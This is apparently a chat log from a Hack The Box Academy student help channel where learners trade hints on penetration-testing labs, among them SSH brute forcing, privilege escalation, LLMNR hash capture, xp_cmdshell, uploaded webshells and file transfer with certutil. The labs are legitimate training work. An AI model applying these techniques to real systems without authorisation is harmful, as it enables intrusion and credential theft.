You can use the host system you're connected to to do a ping sweep. Either cmd or powershell etc. Then once you find the IP's that reply, you can narrow down your targets. Then use something like --top-ports 25 in your port scan... if nothing returns, expand it to 50 and so on.

[kindred wolf]

Need 1 more for ranked

Gold play or diamond

[shut quest]

You keep trying but this is the wrong place buddy. See #welcome and #rules

[blissful chasm]

hello i get error in Windows Privilege Escalation Skills Assessment - Part II and i need help Program 'CVE-2020-0668.exe' failed to run: The specified executable is not a valid application for this OS platform.At
line:1 char:1

[safe star]

😭

[blissful chasm]

how solve this problem "This app can't run on your PC" in Windows Privilege Escalation Skills Assessment - Part II to can execute CVE-2020-0668.exe

[autumn pilot]

If that doesn't work, try with another vulnerability

[rocky estuary]

i wrote this down thanks man and maybe also will try to use metasploit its has module do ping sweep

[stark lark]

Module: Login brute forcing
https://academy.hackthebox.com/module/57/section/491

Question:
Using what you learned in this section, try to brute force the SSH login of the user "b.gates" in the target server shown above. Then try to SSH into the server. You should find a flag in the home dir. What is the content of the flag?

How am I supposed to brute force when password auth is not supported?

[next bronze]

check which port you're supposed to use

[stark lark]

Thanks

[somber fiber]

port is also a case but it seems bro is making same mistake as i did, by not reading the question properly.

[stark lark]

What do you mean?

[somber fiber]

it is not exectly a mistake but a waste of time i guess.

but it shouldn't take much time

[stark lark]

Using wordlist instead of b.gates?

[somber fiber]

i guess

but yes go for it

[stark lark]

Took 90 sec

[blissful chasm]

i can not run any tool like sharpup i will get same error

[autumn pilot]

You can try doing manual enumeration

[rocky estuary]

i'm stuck at the pivot skill assessment i connected to the first window machine and found the user fra** but i can't find his creds also found two ip in windows internal network but i don't know how i can scan them with nmap to see the ports i tried to use msfvenom and ssh -R to try to reverse connecting but that didn't work

[finite abyss]

This the toughest lab so far in CWEE. I am spending some time around this
https://academy.hackthebox.com/module/189/section/2022
I have reset the password for Admin user. Now when I login it is going to MFA screen

[rugged turtle]

Hi everyone, did it ever occur to anyone that CME fails to recognize a password when in reality that password works out?
I've been trying to auth to RDP with cme with a working password, however on RDP it simply failed (the password had special characters, shall I wrap it in apexes ?)
Then, completely out of curiosity I've tried to use cme on a smb server with the same password list and a given password worked out for that user. Just to try it out I used it in RDP and it worked 😐 So at this point I'm wondering whether I shall rely on cme anymore or not 😄

[next bronze]

it will show you what password was actually used in the output

[rugged turtle]

wait, I think i didn't get your point. To sum it up, what I mean is I could login with a password that CME returned as "not working"

[next bronze]

CME will tell you what password was actually used, so you can make sure that's the password you want it to use

since you mentiond that there are special characters

also I'm pretty sure CME's RDP implementation isn't reliable, use netexec instead

[rugged turtle]

which means that if nobody ever logged on a given service it does not return as valid?
In my use case could it be that the user logged on smb but never on rdp ?

[next bronze]

huh that's not what I said

whether a user can logon to a service depends on the user's rights

[rugged turtle]

But then at this point I don't think that's too clear to me.
Assume I have user A password B, combination with which I've already logged on RDP and works.
Ideally, CME should return, given a username list with A and a password list with B, a record saying that this combination is working

[next bronze]

^^

if it's the same username and password and it's not showing up in cme, try with netexec instead

[rugged turtle]

alright, then it makes sense ahah
Thanks for the clarification!

[next bronze]

also generally password spraying rdp is slow and pointles, you would've known which creds are valid through other services and after that it's easy to identiy which user can rdp

[quiet trout]

to connect to the target

because you have no route to the target. your vm and the target need to be tunnelled on the vpn. try to ping the target IP, what response do you get?

and why might you get that? you need to connect to the vpn you have no route to the target box

On the Hacking Wordpress Module https://academy.hackthebox.com/module/17/section/88

Can someone help me understand why im not getting results from a curl -L http://94.237.61.58:51042/wp-content/plugins/mail-masta or wpscan http://target... but when i browse the page in the browser i see the dir listing just fine...? this is wild, the module even goes into examples that sorta suggest you should use these tools (vs manually w/ browser)

oh wait, i guess wpscan requires an API token

that info would've been nice to know in advance

still doesnt explain my curl issue though -_-''

Get-ExecutionPolicy | Set-ExecutionPolicy ?

or is that what -ep bypass does? check anyways?

[next bronze]

import the module

[next bronze]

put a slash at the end of the url

[quiet trout]

thx just caught that, thats what i get for trying to type the cmd out i guess >_<

thats pretty cool actually, wasnt aware of that. it lasts just for the ps session?

neat, ill have to put that one up my sleeve for later.

[quiet trout]

in the wp hacking module:
https://academy.hackthebox.com/module/17/section/90
we're bruting logins and we're using SOAP method calls.

in a previous module on API attacks we're shown that the WSDL can be obtained via

curl http://<TARGET IP>:3002/wsdl?wsdl

is there a way to do this on wp? drawing a blank since the API is slightly different..

nvm looks like you use a slightly different variation on that, with a POST request and a specific method call

[rugged turtle]

Hi guys, since I'm still relatively new to pentesting, I've got a sort of peculiar question, probably, but I'd like to have the feedback of those more experienced.
Technically speaking, even though we're trained to perform privilege escalation, we can also directly access in r/w mode some critical points without accessing as a sysadmin.
Is that already considered enough for the purpose of a pentest? Do we actually require to provide the proof that we logged in as root / system to properly confirm the pentest success?
I'll highlight the following case that just happened to me (so far since I'm at the beginning is the first scenario I happen to be in this situation, but I guess there'll be tons of them in the future).

I could get inside a linked server and leverage xp_cmdshell to properly execute commands as NT AUTHORITY\SYSTEM.
At this point, rather than finding a way to login as Administrator I simply read the flag by accessing the file through the xp_cmdshell.
Is this already considered enough, when performing a pentest?

[quiet trout]

so a pentest in a hired engagement consists of more than just the "box pwned" if you find a access like you describe it should be noted, then continue on to other attack vectors

[rugged turtle]

that's also true. Thus in this case it'd be necessary to notice, for instance, that I can exec commands as SYSTEM and I can exfiltrate SAM dumps and so on

[quiet trout]

yeah you describe the weakness explain what you can do with it in exhaustive detail and move on

[next bronze]

depends on the scope of engagement, are there other target behind the mssql server that you have to reach? if yes then carry on. if the goal is only to find vulnerability in that server, then getting command execution as sytem is enough. of course flag out the cmdshell thing and mssql service is running as system

being able to exfiltrate SAM and whatnot as system is not a vulnerability

[quiet trout]

good point.

[rugged turtle]

Yea I guess that's just a consequence of the vulnerability found. In first place I shouldn't be able to be SYSTEM on a unknown machine

[zealous belfry]

Could someone help me with the nosql injection skill assesment 2 ? Im kinda stuck

[tender nimbus]

Hey guys, i have a question about the shells and payloads module, im at the infiltrating windows section, i already have the right awnsers but i want help to gain acces on another way, after scan i saw an open port (80) so i navigated to it and saw that i can upload files, i guess that i also can gain acces by uploading a payload that i can make with msfvenom no? If yes can somebody explain me how?

like how do i know which module to use, looking for the required options etc

[shut vapor]

If I recall correctly you're able to upload a php file. Then if you can access the directory where those uploads go, and access that php file, you've got remote code execution. Look to use php reverse shells, web shells or use msfvenom to create one. I'll pop my notes to see if I took that route and there's any more nuance to it.

[tender nimbus]

i think you talking about another part (we'b shells section) no?

[shut vapor]

Maybe. PHP can run on Windows, but it works the same if it's ASP or whatever language. Or am I misunderstanding the scenario?

I don't have any notes for that module with me, but I'll see if I can pop the box up and take a peek

[shut vapor]

Ok, yeah it works with antak webshell which you can probably find somewhere under /usr/share. How to do it with msfvenom... let me see.

[median gale]

Is it me or just in the Skills Assessment 2 of AD Attacks & Enum there is a whole win priv esc section that is not taught NOWHERE in the module and you have to go through the corresping module before ?

[shut vapor]

@tender nimbus well, yes, you can do it with meterpreter too. Is that what you were asking or am I answering totally different questions?

[tender nimbus]

i think you got a part right, what i mean in the infiltrating windows section (bnot the webshell section) is that there is an open 80 port and you can upload files, what i want to do is upload a webshell but i guess i gonna see how to do it in the webshell section

the thing i always wonder is how do you know which exploid to use there are so many of them

[shut vapor]

I am in Shells & Payloads > Infiltrating Windows... but, yes, you'll learn to use the antek shell in the upcoming webshell section.
You just have to know what language you're working with to select a shell. If the webserver is processing PHP, ASP[X], Python, Node... whatever, just gotta select a shell, exploit or payload that is in a matching language.

[tender nimbus]

so in this case php bcs the language of the webserver is php right?

[vital falcon]

Hey guys, for the windows privesc assement part 1 , Last question, find the confidential.txt file, do i need to escalade to dc or not ?

[shut vapor]

I was wrong the first time around, in this case it's ASPX, not PHP... but you've got the right idea.

[tender nimbus]

okej thank you ^^

[empty trout]

i dont see any user when executing enumdomusers rpcclient command i setup a linux VM and running samba on it . which is not a domain joint vm its standalone vm .

can i enumerate users on a standalone machine with anonymous access to SMB

[tender nimbus]

@shut vapor can you help me witht hat to?

where do you see that its located in \files?

i only see C:\inetpub\wwwroot\status.inlanefreight.local\files\demo.aspx

[shut vapor]

Did you upload demo.aspx? The section suggests that is the file you're uploading. If so, then \files\demo.aspx is it, right?

[tender nimbus]

yes i uploaded it and i found it but i don't understand were they see the \files\

there is only one \

bcs when is earch status.inlanefreight.local/files/demo.aspx i also find my webshell

[shut vapor]

I'm not sure I understand. Is your question "how would I know to look in \files?"

[tender nimbus]

when you read the post they say "As seen from the last image, our shell was uploaded to the \files\ directory, and the name was kept the same." but there is no \files\ on the image ^^

[shut vapor]

I'm firing up the lab now to take a look and see if I can jive the conversation.

[tender nimbus]

its double \ i cant right it here it dissapears

[shut vapor]

I don't know why they say \\files. I think that's shorthand for "the current url", like if you were writing html -- a relative directory. But the image does show you where the file is going:

Also, to get a backslash (\) in discord you have to escape it with two backslashes (\\).

[tacit surge]

Hello guys, I'm having a small problem with one module. Should I ask about it here?

[storm elk]

Yes

[tender nimbus]

okej thanks mate

[shut vapor]

Now try 4 backslashes in a row(\\\\)

[tender nimbus]

\\

oooooh okej ahah didnt knew that

[shut vapor]

lol got it

[tender nimbus]

thanks

[tacit surge]

In Windows Fundamentals in Introduction to Windows I can't get the right build number despite trying different formats. Am I looking at a wrong number? Neither 19041.1 or 10.0.19041.1 works.

[shut vapor]

Got to jiggle the answer. Try "10.0.19041" "Version 10.0.19041.1", "19041" etc.. Let me see if I can figure it out on my end too.

[next bronze]

use systeminfo it will tell you the build no.

it's the number after the major and minor version

[tacit surge]

It gives same numbers but they are not accepted as correct.

[next bronze]

I mean

[tacit surge]

Wait, I tossed random tries and 19041 worked

[next bronze]

yes and it's shown in your screenshot

[shut vapor]

This is the better answer. Often versions are <major>.<minor>.<build>.<revision> or follow some similar structure

[next bronze]

build 19041

[tacit surge]

Makes me wonder why all these ways to get build number give somewhat different number

Anyway, thanks guys!

[shut vapor]

It's kind of a moot point. If someone were to ask you what build you're running and you gave them the full version (10.0.19041.1) they'd know from the response. Further down the line when you're evaluating if an exploit will work against a version of windows, you'll need to know the build and quickly learn that 19041 is the value you need to compare.

[tacit surge]

Ok. Thanks for explaining.

[limpid hemlock]

I cant see to find any exploit for it to get a reverse shell as said is needed to get the flag any help ?

[dim wolf]

message deleted due to spoiler

[rustic sage]

hhi

[split portal]

Hey Everyone!

[storm elk]

Hi. Welcome

[empty trout]

?

[split portal]

I am doing AD Enumeration and Attacks module and trying to get the SID of a users for ACL enumeration. According to the module, $sid = Convert-NameToSid wley should work after importing powerview.ps1 but its not giving me any output after running this command. I have get the SID using GET-ADUser cmdlet but wants to know why $sid one isnt working.

can someone help me figuring out, what i am doing wrong ?

[empty trout]

https://cybergladius.com/the-active-directory-access-control-list-explained/#:~:text=Access Control Entries(ACE) -,or one of many types.

this blog might help in acl or ace

[rustic sage]

what is happening here

[empty trout]

i dont know about what u r doing wrong but yeah this blog really put some good info on acl and manually enumrating it

[split portal]

Thank you for sharing that blog, i will take a look at it. I have shared a screenshot in which you can see the $sid isnt working.

[next bronze]

you're simply saving the sid into the$sid variable

next you'll need to do something with that variable

[split portal]

ahhhh make sense, i am just being dumb lol

[empty trout]

yeah

[split portal]

thank you for the help mate!

[empty trout]

just print it take a look

i dont see any user when executing enumdomusers rpcclient command i setup a linux VM and running samba on it . which is not a domain joint vm its standalone vm .
can i enumerate users on a standalone machine with anonymous access to SMB

[next bronze]

I mean enumdomusers is enum domain users

[empty trout]

yeah but it is not showing any output and its a standalone machine with any domain envolved

[next bronze]

also samba works slightly differently compared to windows smb, the shares and stuff are the same, but different when it comes to users and domains

[empty trout]

in HTB modules they are also using a linux machine

[forest gust]

https://academy.hackthebox.com/module/67/section/637 Windows Privilege Escalation Skills Assessment - Part I
I need a hint. How do I transfer a file to escalate privileges?

[empty trout]

use python http server

[old oasis]

or base64 encode the file content and decode on the other end

[empty trout]

certutil or wget on win shell

query LOLBAS

yeah

[forest gust]

the problem is that I can't write files

[proper oar]

Try an area that usually allows global write, like Tasks, Temp, etc.

Working through the SCCM module in the AD path, the text says "Finally, the boot media can be requested with PXEThief and decrypted with the password. Generally, many interesting values exist in PXE media, such as the credentials required to enroll new computers into the Active Directory domain. These credentials are useful for initial access:"

How would one recognize or enumerate an SCCM Distribution Point to be able to begin with the 2nd pxethief option? Or would you start with the auto-discover option on an engagement? I know with credentials they can be found with something like sccmhunter

[fading bough]

Wow

[hard matrix]

I have a quick question about AD Enumeration & Attacks - Skills Assessment Part II 2
The first thing you do to get a foothold is listen with responder from an internal linux host and capture a hash.
Later in the module, when you have admin creds to another machine, you do something similar to listen with LLMNR poisoning on a specific windows host in the internal network.
I'm under the impression that LLMNR poisoning works by intercepting internal network broadcast requests

My question is: Why is it that the linux host running Responder (on the internal network) captures a specific hash, say for userA, and for the second hash we listen with inveigh on a different host on the internal network and capture the hash for userB? Shouldn't responder on the other linux host be just as capable of capturing this hash for userB? Do i fundamentally misunderstand how LLMNR poisoning works?

I'm just trying to understand why this worked, and how I would be lead to doing this myself in future engagements. Is it a good practice to listen with an llmnr poisoner if we land ourselves on a new machine in general?

[pseudo kiln]

If I understand correctly, the second time it is unicast, spefically sent to that machine only, not broadcast. You can try to capture the traffic to check if that is the case, I may be wrong

[hard matrix]

From a methodology standpoint, if that's the case, would it be a good idea to setup inveigh and listen for challenges when we land ourselves on a new machine internally?

Maybe I just ought to read up more on LLMNR nbtns poisoning

I just feel like I wouldn't have ever figured this out myself without heavy guidance from hints and looking through previous discussions and that's a problem

[sweet patrol]

Is there a document that covers msf directories? Like auxiliary(handler,etc) exploit(Linux, etc)

Like a tree?

[pseudo kiln]

I think HTB wanted to drive this point to the student. If we land on a new machine, that machine may be on different network segment, so it's worth running inveigh there too. LLMNR poisoning unlike DNS requests do not cross network segments, so each segment could have different requests.

btw I did the same thing as you, I felt like htb did not really explain LLMNR much, so I looked into microsoft documentation for more info

[rustic sage]

Haii quick question. Who can trach me to hack ethicly for free?

[limber river]

it's not different network segement

it just a script somewhere trying to reach to this specific machine

[full wagon]

Im at the skills assessment on shells & payloads. Everything is sooooo slow is that 'normal' or expected or is something messed up just for me? Getting a call back from a shell takes like 5 minutes and running a singel commands takes for ever so have to kill the shell and get a new one. If anyone have any tips for making things run smoother, I'm happy to here:

[sly trench]

What do I do if a target isnt spawning?

@fathom pendant

[fathom pendant]

The user you're trying to ping is busy please do not ping them

[acoustic owl]

Change the VPN region and then try again

[rough tree]

Hello, someone who would drop a nudge for the second flag on DACL II assestment lab?
I see a clear GPO Abuse attack path, have Angel creds but missing Manuel ones 😕

[pseudo kiln]

Yeah, this is the pointed they wanted to drive though imo

[limpid hemlock]

Hey im doing the skill assesment 1 in attacking common applications i found a appache tomcat server running with a version vulnerable but i cant seem to login as /mamager to upload a file and get a rev shell like earlier in walk through any help

[autumn pilot]

Look for vulnerabilities based on the version

[limpid hemlock]

Ya not finding any

That gives a rce

[reef pecan]

Skills Assessment - Using Web Proxies

I was doing Q3. Used command line to create a file list of cookie strings, because I didn't see one of these encodings in ZAP and ran it. Seeing that the request size was lower than the original request but always the same, I assumed there is an issue with my process.

Then, I push F5 on the website and there it is a flag. How did it get there? Should I somehow identify that I already succeeded in ZAP itself?

Feels a wee bit like I didn't earn this one.

[sacred jacinth]

Well any explanation would be a spoiler. BUT, iirc it explicitly stated that there's a chance for the flag to appear no?

[reef pecan]

I don't believe so, besides why would module be designed in such way that it answers randomly possibly the hardest question there 😄